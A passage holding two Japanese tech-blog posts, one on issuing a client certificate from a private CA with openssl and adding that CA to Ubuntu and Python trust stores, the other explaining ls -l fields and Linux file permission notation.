echo "subjectAltName = DNS:client.local, IP:192.168.1.100" > san_client.txt
```

```bash:CSR へ署名
openssl x509 \
    -req \
    -days 3650 \
    -in client.csr \
    -out client.crt \
    -CA ca.crt \
    -CAkey ca.key \
    -CAcreateserial \
    -extfile san_client.txt
```

```bash:作成した証明書の確認
openssl x509 -in client.crt -text -noout
```

```bash:p12 形式ファイルの作成
openssl pkcs12 -export \
    -in client.crt \
    -inkey client.key \
    -certfile ca.crt \
    -out client.p12 \
    -name "client_cert"
```


## 自己 CA を信頼する CA リストに追加する

- Ubuntu Linux

    ```bash
    sudo cp ca.crt /usr/local/share/ca-certificates/privateca.crt
    sudo update-ca-certificates
    ```

    この後、`/etc/ssl/certs/privateca.pem` が存在するはずです。

- Python (Requests ライブラリだけかもですが)

    Python では OS の信頼する CA リストは参照せず、`/usr/lib/python3/dist-packages/certifi/cacert.pem` または `venv/lib/python3.10/site-packages/certifi/cacert.pem` のような、Python環境の信頼する CA リストを参照しているようです。  
    このファイルに PrivateCA の証明書を追加すると requests が PrivateCA を信頼するようになります。
Linux ls -lコマンド実行時の属性情報の見方

## ls -lコマンド実行時の属性情報

ファイルの属性情報の見方を理解したとき「秘密の暗号を特別に理解できてしまった」みたいな、有能感というか謎の満足感みたいなものを感じたので共有します。


![スクリーンショット 2024-10-05 204048.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3887376/9b088832-3367-6da3-a950-66c4ab715821.png)


### 構成
下記のような構成で成り立っています。
１.ファイル種別
２.パーミッション
３.リンク数
４.所有ユーザー名
５.所有グループ名
６.サイズ
７.更新日
８.ファイル名

#### １.ファイル種別
①「-」ファイル名 
②「l」シンボリック
③「d」ディレクトリ

#### ２.パーミッション
①「r」read 読み込み可能 
②「w」write 書き込み可能
③「x」excute 実行可能

ユーザーパーミッション | グループパーミッション | アザーパーミッッション
(ファイルの所有者 | 所有グループ | その他のユーザーに対する許可情報)
rw- r-- r--

パーミッションの表現方法は２種類あり、上記のように文字や記号を用いて表現する方法を「シンボリックモード」数値で表現する方法を「オクタルモード」といいます。

| パーミッション | 2進数 | 8進数 |
|:-:|:-:|:-:|
| rwx  | 111  | 7  |
| rw-  | 110  | 6  |
| r-x  | 101  | 5  |
| r--  | 100  | 4  |
| -wx  | 011  | 3  |
| -w-  | 010  | 2  |
| --x  | 001  | 1  |
| ---  | 000  | 0  |

下記のような表記を目にすることがあると思いますが、これは最も制限が緩いパーミッションだということがわかります。
$ chmod 777 /tmp/test